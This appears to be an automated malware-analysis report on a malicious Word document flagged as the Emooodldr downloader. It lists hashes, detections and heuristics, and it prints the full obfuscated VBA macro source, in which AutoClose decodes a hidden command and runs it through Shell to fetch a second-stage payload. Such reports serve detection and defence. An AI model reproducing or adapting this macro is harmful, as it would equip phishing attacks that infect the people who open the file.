Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 ebed0b54c5096247…

MALICIOUS

Office (OOXML)

53.9 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: 418a530d741325eee659d030ef26f991 SHA-1: d7b1e8e6b5a493b2449ccd978131729fa741dda1 SHA-256: ebed0b54c50962470c7e541ea3874b6ccf71812540edff4a06080f978900d840
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which is designed to execute obfuscated code. This code, after deobfuscation, calls the Shell function to download and execute a second-stage payload, indicating a downloader or droppper functionality.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2129 bytes
SHA-256: fb740ab94c7a652a6a3a9be80546049a33ed032fffd973a895f8edf9fbe8f3b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function backstrip(harelip)
  launchpads = Array("f", "b", "7", "s", "X", "x", "w", "G", "T", "A", "F", "N", "2", "E", "Z", "I", "U", "K", "d", "P", "0", "O", "V", "l", "8", "q", "u")
  mayor = Array("q", "p", "b", "m", "t", "g", "d", "e", "u", "?", "h", "=", "o", " ", "/", "i", "j", "a", ":", "O", "s", "c", "n", "U", ".", "x", "w")
  
  simplifiers = vbNullString
  
  For Each clavecin In harelip
    motorised = Application.Run("iconodulist", clavecin, launchpads)
    If motorised > -1 And motorised < 99212 Then
    simplifiers = mayor(motorised) + simplifiers
    End If
  Next
  
  backstrip = StrReverse(simplifiers)
  
End Function

Public Function iconodulist(swamphen, turbulent)

  thaumaturgism = 81818
  unskinator = -1
  For Each septupled In turbulent
    If septupled = swamphen Then
     thaumaturgism = unskinator
     Exit For
    End If

    unskinator = unskinator + 1
    
  Next

  
  If thaumaturgism = 81818 Then
    thaumaturgism = -1
  End If


  iconodulist = thaumaturgism + 1
End Function




Sub AutoClose()
  harelip = Array("s", "0", "F", "X", "K", "8", "G", "q", "G", "E", "F", "X", "X", "b", "d", "Z", "Z", "U", "F", "I", "U", "w", "f", "u", "T", "x", "F", "K", "0", "V", "w", "K", "0", "G", "f", "u", "8", "O", "2", "s", "Z", "P", "l", "Z", "0", "s", "I", "q", "8", "b", "F", "b", "A", "T", "X", "s", "K", "N", "V", "V", "I", "I", "7")
  begrudging = backstrip(harelip)
  
  Application.Run "hippopathology", (begrudging)
  
End Sub


Private Sub hippopathology(semideific)
   
   outdreamed = 69172
   boomboxes = True
   
   While boomboxes
     classroom = outdreamed + 91723
     If classroom - outdreamed > 297 Then
       VBA.Shell semideific, vbNormalFocus - 1
       boomboxes = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 53f95db1d86dec1f763c72ca3b4b4070c059b122ce27192699ce3902a2be9d5b
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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